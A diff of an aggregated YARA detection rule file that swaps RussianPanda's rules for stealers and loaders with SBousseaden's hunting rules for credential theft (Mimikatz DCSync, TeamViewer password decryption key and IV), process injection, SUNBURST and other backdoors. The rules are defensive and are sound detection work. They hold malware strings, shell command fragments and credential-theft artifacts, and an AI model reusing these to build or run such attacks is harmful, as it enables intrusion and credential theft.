-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Techniques/win_sus_InternetShortcutFile.yar#L1-L19"
+		description = "cve-2019-18988 - decryption of AES 128 bits encrypted TV config pwds saved in TV registry hive"
+		author = "SBousseaden"
+		id = "b2240cda-a37a-572e-b915-be39cbaabaaf"
+		date = "2020-07-23"
+		modified = "2020-12-28"
+		reference = "https://community.teamviewer.com/t5/Announcements/Specification-on-CVE-2019-18988/td-p/82264"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L266-L286"
 		license_url = "N/A"
-		logic_hash = "9ec321ba521949fcc1db09b843913424182bfbb14eac61e92b7132d88b275ceb"
-		score = 65
-		quality = 58
-		tags = ""
+		logic_hash = "a0cb06e06904e98e963798fddc28e2a7cf8b737a50ff7d380e7f871c78ed9479"
+		score = 50
+		quality = 63
+		tags = "CVE-2019-18988, FILE"
 
 	strings:
-		$s1 = "[InternetShortcut]"
-		$s2 = {55 52 4C 3D 66 69 6C 65 3A 2F 2F}
-		$a1 = ".exe"
-		$a2 = ".dll"
-		$a3 = ".js"
-		$a4 = ".msi"
-		$a5 = ".msix"
-		$a6 = ".bat"
-		$a7 = ".cmd"
+		$key1 = {0602000000a400005253413100040000}
+		$key2 = "\\x06\\x02\\x00\\x00\\x00\\xa4\\x00\\x00\\x52\\x53\\x41\\x31\\x00\\x04\\x00\\x00"
+		$iv1 = {0100010067244F436E6762F25EA8D704}
+		$iv2 = "\\x01\\x00\\x01\\x00\\x67\\x24\\x4F\\x43\\x6E\\x67\\x62\\xF2\\x5E\\xA8\\xD7\\x04"
+		$p1 = "OptionsPasswordAES" nocase
+		$p2 = "OptionsPasswordAES" nocase wide
+		$p3 = "ProxyPasswordAES" nocase
+		$p4 = "ProxyPasswordAES" nocase wide
+		$p5 = "PermanentPassword" nocase
+		$p6 = "PermanentPassword" nocase wide
 
 	condition:
-		all of ($s*) and any of ($a*)
+		any of ($key*) and any of ($iv*) and 2 of ($p*) and filesize <700KB
 }
-rule RUSSIANPANDA_Golang_Base64_Enc : FILE
+rule SBOUSSEADEN_Hunt_Procinj_Instrumentationcallback : FILE
 {
 	meta:
-		description = "Detects Base64 Encoding and Decoding patterns in Golang binaries"
-		author = "RussianPanda"
-		id = "6330e005-9c67-5acd-9063-aa7e30e92f5f"
-		date = "2024-01-10"
-		modified = "2024-01-14"
-		reference = "https://unprotect.it/technique/base64/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Techniques/golang_base64_enc.yar#L1-L18"
+		description = "hunt for possible injection with Instrumentation Callback PE"
+		author = "SBousseaden"
+		id = "f450bf71-d848-540e-b700-c046662f1cbc"
+		date = "2020-07-25"
+		modified = "2020-07-25"
+		reference = "https://movaxbx.ru/2020/07/24/weaponizing-mapping-injection-with-instrumentation-callback-for-stealthier-process-injection/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_procinj_instrcallback.yara#L1-L21"
 		license_url = "N/A"
-		hash = "509a359b4d0cd993497671b91255c3775628b078cde31a32158c1bc3b2ce461c"
-		logic_hash = "72cf3ee948df9c4ce593f16a49397e79fdc5ecc3264b3685bbc54f60ed1278bd"
-		score = 75
-		quality = 83
+		logic_hash = "b33dae550bae9508b9fd5b2d6cabf1d4d928792d3988af23cdba34d9d3d03162"
+		score = 50
+		quality = 71
 		tags = "FILE"
 
 	strings:
-		$s1 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 45 6e 63 6f 64 65 54 6f 53 74 72 69 6e 67 28 [0-15] 29}
-		$s2 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 44 65 63 6f 64 65 53 74 72 69 6e 67 28 [0-15] 29}
-		$s3 = {69 66 20 65 72 72 20 21 3D 20 6E 69 6C 20 7B}
-		$s4 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
+		$mv1 = "MapViewOfFile3" xor
+		$mv2 = "MapViewOfFile3" wide xor
+		$mv3 = "NtMapViewOfSectionEx" xor
+		$mv4 = "NtMapViewOfSectionEx" wide xor
+		$mv5 = {(49 89 CA|4C 8B D1) B8 0F 01 00 00 0F 05 C3}
+		$spi1 = "NtSetInformationProcess" xor
+		$spi2 = "NtSetInformationProcess" wide xor
+		$spi3 = {(49 89 CA|4C 8B D1) B8 1C 00 00 00 0F 05 C3}
+		$picb = {BA 28 00 00 00}
+		$ss1 = {41 52 50 53 55 57 56 54 41 54 41 55 41 56 41 57}
+		$ss2 = {41 5F 41 5E 41 5D 41 5C 5C 5E 5F 5D 5B 58 41 5A}
+		$ss3 = {49 89 CA 0F 05 C3}
 
 	condition:
-		all of ($s*) and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and $picb and 1 of ($mv*) and 1 of ($spi*) and 1 of ($ss*)
 }
-rule RUSSIANPANDA_Check_Installed_Software : FILE
+rule SBOUSSEADEN_Hunt_Slub_Backdoor : FILE
 {
 	meta:
-		description = "No description has been set in the source file - RussianPanda"
-		author = "RussianPanda"
-		id = "a45c7012-dc83-59da-a691-251f0a06be12"
-		date = "2024-01-14"
-		modified = "2024-01-15"
-		reference = "https://unprotect.it/technique/checking-installed-software/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Techniques/check_installed_software.yar#L1-L19"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "c15d5f14-d17f-528b-bf85-e06a5e23518c"
+		date = "2020-10-22"
+		modified = "2020-10-22"
+		reference = "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/APT_SLUB_Backdoor.yara#L1-L22"
 		license_url = "N/A"
-		hash = "db44d4cd1ea8142790a6b26880b41ee23de5db5c2a63afb9ee54585882f1aa07"
-		logic_hash = "ab079f1edaffca5bce1e872d6e4fc44f7c22b9260feaed7cd38e578646d420ef"
+		hash = "93bb93d87cedb0a99976c18a37d65f816dc904942a0fb39cc177d49372ed54e5"
+		hash = "59e4510b7b15011d67eb2f80484589f7211e67756906a87ce466a7bb68f2095b"
+		hash = "c7788c015244e12e4c8cc69a2b1344d589284c84102c2f1871bbb4f4c32c2936"
+		hash = "6678a5964db74d477b39bd0a8c18adf02844bed8b112c7bcca6984032918bdfb"
+		logic_hash = "aa17dcfde1e2227ff04bda708d4c40c1e1f07b404d2c43582632d83c98d65e83"
 		score = 50
-		quality = 35
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$d1 = "DisplayVersion"
-		$u1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
-		$reg = "RegOpenKeyExA"
-		$h = {68 (01|02) 00 00 80}
+		$s1 = "file_infos" ascii wide
+		$s2 = "%ws\\%u_cmd_out.tmp" ascii wide
+		$s3 = "%ws\\%u_cmd_out.zip" ascii wide
+		$s4 = "[was netstat]" ascii wide
+		$s5 = {63 3A 5C 77 6F 72 6B 2E 76 63 70 6B 67 5C 69 6E 73 74 61 6C 6C 65 64 5C 78 36 34 2D 77 69 6E 64 6F 77 73 2D 73 74 61 74 69 63 5C}
+		$s6 = "LoadFileToMemory" ascii wide
+		$s7 = "setStartupExec" ascii wide
+		$s8 = "%04u-%02u-%02u %02u:%02u:%02u" ascii wide
+		$s9 = "goto del_one" ascii wide
+		$s10 = "goto del_two" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and $reg and $h and for any i in (1..#u1) : ($d1 in (@u1[i]-200..@u1[i]+200))
+		uint16(0)==0x5a4d and 3 of them
 }
-rule RUSSIANPANDA_Susp_Obf_Py_Marshal_Module : FILE
+rule SBOUSSEADEN_Cve_2019_1458 : FILE
 {
 	meta:
-		description = "Detects Obfuscated Code Using Python Marshal Module"
-		author = "RussianPanda"
-		id = "23ed45f6-69ba-5027-ad68-4be858fc1f91"
-		date = "2024-01-16"
-		modified = "2024-01-16"
-		reference = "https://www.trendmicro.com/fr_fr/research/23/j/infection-techniques-across-supply-chains-and-codebases.html"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Techniques/susp_obf_py_marshal_module.yar#L1-L18"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "7bcbfccb-2db0-5438-9ed1-eee4c92710b6"
+		date = "2020-10-23"
+		modified = "2020-10-23"
+		reference = "https://github.com/unamer/CVE-2019-1458"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_cve_2019_1458.yara#L1-L22"
 		license_url = "N/A"
-		hash = "d740129ff6bdb65a324eadf4ac8de3893a54306cf2a11712a305ef6247204092"
-		logic_hash = "f150fae6d7a4642f714f4620dab65f452e5eb9cb57e9cbea46010aac3ecbb3cb"
-		score = 65
-		quality = 60
+		logic_hash = "8c5eac6b9fb9f87e0ffb219f0af8f83475799e062ed339da7a0525180292f5f2"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "exec(marshal.loads(zlib.decompress(b'x\\x9c"
-		$t2 = "gzip"
-		$t3 = "lzma"
-		$t4 = "bz2"
-		$t5 = "binascii"
+		$s1 = "RtlGetVersion"
+		$s2 = {45 33 C9 BA 03 80 00 00 33 C9}
+		$s3 = "SploitWnd"
+		$s4 = "CreateWindowExW"
+		$s5 = "GetKeyboardState"
+		$s6 = "SetKeyboardState"
+		$s7 = "SetWindowLongPtrW"
+		$s9 = "SetClassLongPtrW"
+		$s10 = "DestroyWindow"
+		$s11 = "CreateProcess"
+		$s12 = {4C 8B D1 8B 05 ?? ?? ?? 00 0F 05 C3}
+		$s13 = {80 10 00 00 09 10}
+		$s14 = "NtUserMessageCall"
+		$s15 = "HMValidateHandle"
+		$s16 = "IsMenu"
 
 	condition:
-		$s1 and any of ($t*) and filesize <2MB
+		uint16(0)==0x5a4d and all of them
 }
-rule RUSSIANPANDA_Win_Mal_D3Fack_Loader
+rule SBOUSSEADEN_Mimikatz_Kiwikey
 {
 	meta:
-		description = "Detects D3F@ck Loader"
-		author = "RussianPanda"
-		id = "54f6e5b0-0fcb-504b-bf1f-62cef9c912c0"
-		date = "2024-02-25"
-		modified = "2024-02-25"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/D3F@ck_Loader/win_mal_D3F@ck_Loader.yar#L1-L12"
+		description = "hunt for default mimikatz kiwikey"
+		author = "SBousseaden"
+		id = "3141e679-6e07-5017-9675-4557fb876ebc"
+		date = "2020-08-08"
+		modified = "2020-08-09"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/kiwikey.yara#L1-L10"
 		license_url = "N/A"
-		logic_hash = "3b277709c8a3ee445067a70881a5a0f67967c0a021aae198829f022d80ebef91"
+		logic_hash = "03745aed838dafad2fc6e190f181141bda31c212af56edb8ba665b86671f8bee"
 		score = 75
-		quality = 81
+		quality = 75
 		tags = ""
 
 	strings:
-		$s1 = {64 61 74 61 2F [1-15] 2F [1-15] 2E}
-		$s2 = {65 78 65 63 75 74 65 50 6F 77 65 72 53 68 65 6C 6C 43 6F 6D 6D 61 6E 64}
-		$s3 = {64 6F 77 6E 6C 6F 61 64 41 6E 64 52 75 6E 46 69 6C 65}
+		$A = {60 BA 4F CA C7 44 24 ?? DC 46 6C 7A C7 44 24 ?? 03 3C 17 81 C7 44 24 ?? 94 C0 3D F6}
+		$B = {48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF D0}
 
 	condition:
-		all of them
+		$A and #B>10
 }
-rule RUSSIANPANDA_Truecrypt_Crypter : FILE
+rule SBOUSSEADEN_APT_Solarwind_Backdoor_Encoded_Strings : FILE
 {
 	meta:
-		description = "Detects TrueCrypt crypter"
-		author = "RussianPanda"
-		id = "3ecf9c2f-6205-5e55-83a5-2b4e3ba89f07"
-		date = "2024-01-06"
-		modified = "2024-01-06"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/TrueCrypt/truecrypt_crypter.yar#L1-L27"
+		description = "This rule is looking for some key encoded strings of the SUNBURST backdoor"
+		author = "SBousseaden"
+		id = "04a63bd6-9737-568f-a20e-c573b915cbd4"
+		date = "2020-12-14"
+		modified = "2020-12-18"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_solarwinds_backdoor_encoded_strings.yara#L1-L28"
 		license_url = "N/A"
-		hash = "167637397fb45ea19bafcf208d8f27dceec82caa7ab19d40ecdb08eb1b7d4f60"
-		logic_hash = "68612c68053e9fb81d9616c04b04ac2e2cb685f3b7ed71f8b31e8f22e3a539e7"
+		hash = "846e27a652a5e1bfbd0ddd38a16dc865"
+		logic_hash = "8808cca8d89f089a8bca5ef62c1764061c8210ba5f9813c886d6ed9f79579ba6"
 		score = 75
-		quality = 81
+		quality = 75
 		tags = "FILE"
+		sha2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
 
 	strings:
-		$s1_crpt1 = {77 69 6E 65 5F 67 65 74}
-		$s2_crpt1 = {49 3B 66 10 76}
-		$s2_crpt2 = {3B 55 48 89 E5 48 83 EC 10 90 8B 0D [22] E8 [3] FF}
-		$s3_crpt1 = {49 3B 66 10 76 43}
-		$s3_crpt2 = {55 48 89 E5 48 83 EC 10 [5] E8 [4] 48 85 FF 75 18}
-		$s4_crpt1 = {40 C0 EE 04 [16] 48 83}
-		$s4_crpt2 = {FA 20 [0-22] 48 83 FE 20}
-		$a_crpt = {61 2E 6F 75 74 2E 65 78 65 00 5F 63 67}
-		$s_crpt = {6F 5F 64 75 6D 6D 79 5F 65 78 70 6F 72 74}
+		$sw = "SolarWinds"
+		$priv1 = "C04NScxO9S/PSy0qzsgsCCjKLMvMSU1PBQA=" wide
+		$priv2 = "C04NzigtSckvzwsoyizLzElNTwUA" wide
+		$priv3 = "C04NSi0uyS9KDSjKLMvMSU1PBQA=" wide
+		$disc1 = "C0gsSs0rCSjKT04tLvZ0AQA=" wide
+		$disc2 = "c0zJzczLLC4pSizJLwIA" wide
+		$disc3 = "c/ELdsnPTczMCy5NS8usCE5NLErO8C9KSS0CAA==" wide
+		$wmi1 = "C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==" wide
+		$wmi2 = "C07NSU0uUdBScCvKz1UIz8wzNooPKMpPTi0uBgA=" wide
+		$wmi3 = "C07NSU0uUdBScCvKz1UIz8wzNooPLU4tckxOzi/NKwEA" wide
+		$wmi4 = "C07NSU0uUdBScCvKz1UIz8wzNor3Sy0pzy/KdkxJLChJLXLOz0vLTC8tSizJzM9TKM9ILUpV8AxwzUtMyklNsS0pKk0FAA=="
+		$key1 = "C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA=" wide
+		$key2 = "Cy5JLCoBAA==" wide
+		$pat1 = "i6420DGtjVWoNqzlAgA=" wide
+		$pat2 = "i6420DGtjVWoNtTRNTSrVag2quWsNgYKKVSb1MZUm9ZyAQA=" wide
+		$pat3 = "qzaoVag2rFXwCAkJ0K82quUCAA==" wide
+		$pat4 = {9D 2A 9A F3 27 D6 F8 EF}
 
 	condition:
-		uint16(0)==0x5A4D and $s1_crpt1 and $s2_crpt1 and $s2_crpt2 and $s3_crpt1 and $s3_crpt2 and $s4_crpt1 and $s4_crpt2 and $a_crpt and $s_crpt and filesize <7MB
+		uint16(0)==0x5a4d and $sw and (2 of ($pat*) or 2 of ($priv*) or all of ($disc*) or 2 of ($wmi*) or all of ($key*))
 }
-rule RUSSIANPANDA_Whitesnakestealer : FILE
+rule SBOUSSEADEN_Shad0W_Ldrloaddll_Hook : FILE
 {
 	meta:
-		description = "WhiteSnake Stealer"
-		author = "RussianPanda"
-		id = "70b69aba-5096-59a6-bb0b-44d248aecc26"
-		date = "2023-07-04"
-		modified = "2023-12-11"
-		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/WhiteSnake-Stealer/WhiteSnake_rc4.yar#L1-L17"
+		description = "Shad0w beacon LdrLoadDll hook"
+		author = "SBousseaden"
+		id = "f9f75b96-2341-553f-b6ca-28d6cb9b880a"
+		date = "2020-06-06"
+		modified = "2020-06-07"
+		reference = "https://github.com/bats3c/shad0w"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_ldrhook.yara#L1-L13"
 		license_url = "N/A"
-		logic_hash = "24985a2c3b0d72858decd17cb2b8e485caa94c01ad72a014edc68ed4facfd71e"
+		logic_hash = "28e8ca9eee2377fd816dd3bd29e05f4146cea975e0ba5ec180073e10a49895e0"
 		score = 75
-		quality = 83
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = {73 68 69 74 2e 6a 70 67}
-		$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
-		$s3 = "qemu" wide
-		$s4 = "vbox" wide
+		$s1 = "LdrLoadD"
+		$s2 = "SetPr"
+		$s3 = "Policy"
+		$s4 = {B8 49 BB DE AD C0}
 
 	condition:
-		all of ($s*) and filesize <300KB
+		uint16(0)==0x5a4d and all of ($s*)
 }
-rule RUSSIANPANDA_Whitesnakestealer_1 : FILE
+rule SBOUSSEADEN_APT_Xdsspy_Xdupload : FILE
 {
 	meta:
-		description = "Detects WhiteSnake Stealer XOR samples "
-		author = "RussianPanda"
-		id = "cfe168a6-cc2f-5cfe-985c-78b232dc2651"
-		date = "2023-07-04"
-		modified = "2023-12-11"
-		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/WhiteSnake-Stealer/WhiteSnake_xor.yar#L1-L15"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "ae38d017-6420-596c-af29-62f15cfe56b8"
+		date = "2020-05-10"
+		modified = "2020-10-05"
+		reference = "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_xdspy_xdupload.yara#L1-L11"
 		license_url = "N/A"
-		logic_hash = "0bd0e250b8598be297296ecf6644d3bf649e3dc4598438325a0913afed04c819"
+		logic_hash = "648ea81d1b44d8514439683cf2f86a8027f9e1eb64abf76d42347fc2ce9c4e68"
 		score = 75
-		quality = 83
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
-		$s2 = {61 6e 61 6c 2e 6a 70 67}
+		$s1 = "cmd.exe /u /c cd /d \"%s\" & dir /a /-c" wide
+		$s2 = "commandC_dll.dll"
+		$s3 = "cmd.exe /u /c del" wide
 
 	condition:
-		all of ($s*) and filesize <600KB
+		uint16(0)==0x5a4d and 2 of ($s*)
 }
-rule RUSSIANPANDA_Fakebat_Powershell
+import "pe"
+
+rule SBOUSSEADEN_Maliciousdllgenerator : FILE
 {
 	meta:
-		description = "Detects FakeBat PowerShell scripts"
-		author = "RussianPanda"
-		id = "76149a6f-c370-5e48-82cc-c89b545c0aa8"
-		date = "2023-12-01"
-		modified = "2023-12-01"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/FakeBat/fakebat_powershell.yar#L1-L13"
+		description = "MaliciousDLLGenerator default decoder and export name"
+		author = "SBousseaden"
+		id = "a5f4d0b2-ef40-5e69-935e-208464944487"
+		date = "2020-06-07"
+		modified = "2020-06-08"
+		reference = "https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/MaliciousDLLGenerator.yara#L3-L12"
 		license_url = "N/A"
-		logic_hash = "df6b30d97ac6c9b248fed0d901e8a0a6ad1d855483a5006b008b839d9961092a"
+		logic_hash = "70976f4a7043f52277a1d436c1725b2583383880d7158c74c4d93f3e603708c7"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = "$LoadDomen/?status=start&av=" nocase
-		$s2 = "$xxx.gpg" nocase
+		$decoder = {E8 00 00 00 00 5B 48 31 C0 48 89 C1 B1 80 48 83 C3 11 48 F7 14 CB E2 FA 48 83 C3 08 53 C3}
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and $decoder and pe.exports("Init") and pe.number_of_exports==2
 }
-rule RUSSIANPANDA_Win_Mal_Zloader : FILE
+rule SBOUSSEADEN_Dcsync_Mimikatz : FILE
 {
 	meta:
-		description = "Detects Zloader and other Zloader modules that employ the same encryption"
-		author = "RussianPanda"
-		id = "3f72e067-c82b-5c65-92c8-010955971d87"
-		date = "2024-03-10"
-		modified = "2024-03-10"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Zloader/win_mal_Zloader.yar#L1-L13"
+		description = "Hunting rule for Mimikatz Implementation of DCSync Attack"
+		author = "SBousseaden"
+		id = "2d5d5fdb-8a84-5e88-b136-4e3e788c46cd"
+		date = "2020-09-22"
+		modified = "2020-09-22"
+		reference = "https://github.com/gentilkiwi/mimikatz"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_dcsync.yara#L1-L24"
 		license_url = "N/A"
-		logic_hash = "9ac9e8ca4a6f84e1bccac2292705ee6ebbc1595eb3f40ed777f7973e9bda7fc1"
-		score = 75
-		quality = 85
+		logic_hash = "436979d794b7b599f2186252c7f233f091100880c2d39008d8bd7f839553fb53"
+		score = 50
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = {8B 45 ?? 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 8B 45 ?? 99 F7 F9 8B 45 ?? 48 63 D2 48 8D 0D ?? ?? ?? 00 0F BE 0C 11 31 C8 88 C2 48 8B 45 F0 48 63 4D}
-		$s2 = {48 63 C9 44 0F B6 04 08 48 8B 45 E8 8B 4D D4 0F B6 14 08 44 31 C2 88 14 08 8B 45 D4}
-		$s3 = {B9 11 00 00 00 99 F7 F9 8B [0-20] 31 C8 88 C2}
-		$s4 = {8B 45 ?? BE 11 00 00 00 99 F7 [0-20] 83 F6 FF}
+		$DRS1 = "DRSGetNCChanges"
+		$DRS2 = "DRSReplicaAdd"
+		$DRS3 = "DRSAddEntry"
+		$DRSW1 = "DRSGetNCChanges" wide
+		$DRSW2 = "DRSReplicaAdd" wide
+		$DRSW3 = "DRSAddEntry" wide
+		$rpc1 = {35 42 51 E3 06 4B D1 11 AB 04 00 C0 4F C2 DC D2 04 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 2B 10 48 60 02}
+		$rpc2 = {34 05 50 21 18 00 08 00 13 81 20 00 8A 05 70 00 28}
+		$rpc3 = {0B 01 10 00 DC 05 50 21 18 00 08 00 13 21 20 00 2E 06 70 00 28}
+		$rpc4 = {48 06 50 21 18 00 08 00 13 41 20 00 72 06 70 00 28}
+		$rpc5 = {78 03 0B 00 10 00 7C 03 13 20 18 00 A4 03 10 01 20 00 AC 03 70 00 28}
+		$rpc6 = {C0 03 50 21 18 00 08 00 13 01 20 00 74 04 70 00 28}
+		$rpc7 = {8C 06 50 21 18 00 08 00 13 A1 20 00 C6 06 70 00 28}
+		$def1 = "mimikatz"
+		$def2 = "mimikatz" wide
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		uint16(0)==0x5a4d and ( all of ($DRS*) or all of ($DRSW*)) and all of ($rpc*) and not ( any of ($def*))
 }
-rule RUSSIANPANDA_Mal_Botnetfenix_Payload : FILE
+rule SBOUSSEADEN_Hunt_Susp_Vhd : FILE
 {
 	meta:
-		description = "Detects BotnetFenix payload"
-		author = "RussianPanda"
-		id = "566bfae1-c43d-5bd6-adcf-faff32d8c325"
-		date = "2024-02-02"
-		modified = "2024-02-04"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/FenixBotnet/mal_BotnetFenix_Payload.yar#L1-L16"
+		description = "Virtual hard disk file with embedded PE"
+		author = "SBousseaden"
+		id = "14b082b2-c5cd-5f34-85e9-5987650eaacd"
+		date = "2020-07-13"
+		modified = "2020-07-13"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_vhd.yara#L1-L12"
 		license_url = "N/A"
-		hash = "65a9575c50a96d04a3f649fe0f6b8ccd"
-		logic_hash = "27f423b509ad8de0f8389c7b3e3bfec2eeb10c964aa8c70bad47cc4334df1a5e"
-		score = 75
-		quality = 85
+		logic_hash = "4ba2e3f533942b27c1d235be4677afdac774b558429c414043a8e3a609123ad3"
+		score = 65
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$s1 = "tasks_register"
-		$s2 = "actionget_action"
-		$s3 = "Post Success"
-		$s4 = "Success Stealer"
-		$s5 = "Download and Execute task id"
-		$a = "_CorExeMain"
+		$hvhd = {636F6E6563746978}
+		$s1 = {4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00}
+		$s2 = "!This program cannot be run in DOS mode." base64
+		$s3 = "!This program cannot be run in DOS mode." xor
 
 	condition:
-		uint16(0)==0x5A4D and 4 of ($s*) and $a
+		$hvhd at 0 and any of ($s*) and filesize <=10MB
 }
-rule RUSSIANPANDA_Mal_Fenixbotnet_Jse
+import "pe"
+
+rule SBOUSSEADEN_Susp_Winsvc_Upx : FILE
 {
 	meta:
-		description = "Detects Fenix Botnet JSE downloader"
-		author = "RussianPanda"
-		id = "00c6f8a6-c2e2-5b08-b332-b91371060bbe"
-		date = "2024-01-18"
-		modified = "2024-02-02"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/FenixBotnet/mal_FenixBotnet_jse.yar#L1-L14"
+		description = "broad hunt for any PE exporting ServiceMain API and upx packed"
+		author = "SBousseaden"
+		id = "883691fe-3858-5177-97ca-122ff2ec54af"
+		date = "2019-01-28"
+		modified = "2020-06-05"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/susp_winsvc_upx.yara#L3-L13"
 		license_url = "N/A"
-		hash = "a7fadf0050d4d0b2cefd808e16dfde69"
-		logic_hash = "848c00361fba60e63e8ec4098404e87d4ba2b11d8489ad16d49c20fc653a5e45"
-		score = 75
-		quality = 85
-		tags = ""
+		logic_hash = "85b1932eaab4e559f0805aa76ad9b58553708391b3ac894a8e4f1cf34470dcb7"
+		score = 65
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = {76 61 72 20 [0-30] 3D 20 22 66 22}
-		$s2 = {76 61 72 20 [0-30] 3D 20 22 75 22}
-		$s3 = {76 61 72 20 [0-30] 3D 20 22 6E 22}
-		$s4 = {6E 65 77 20 46 75 6E 63 74 69 6F 6E 28 64 65 63 6F 64 65 55 52 49 43 6F 6D 70 6F 6E 65 6E 74 28 [0-30] 29 29 2E 63 61 6C 6C 28 29}
+		$upx1 = {55505830000000}
+		$upx2 = {55505831000000}
+		$upx_sig = "UPX!"
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and $upx1 in (0..1024) and $upx2 in (0..1024) and $upx_sig in (0..1024) and pe.exports("ServiceMain")
 }
-rule RUSSIANPANDA_Danabot
+import "pe"
+
+rule SBOUSSEADEN_Hunt_Dllhijack_Wow64Log : FILE
 {
 	meta:
-		description = "Detects DanaBot"
-		author = "RussianPanda"
-		id = "804604d9-db3b-5678-ae0d-67f0e876c93e"
-		date = "2023-12-01"
-		modified = "2023-12-01"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/DanaBot/danabot_yara.yar#L1-L17"
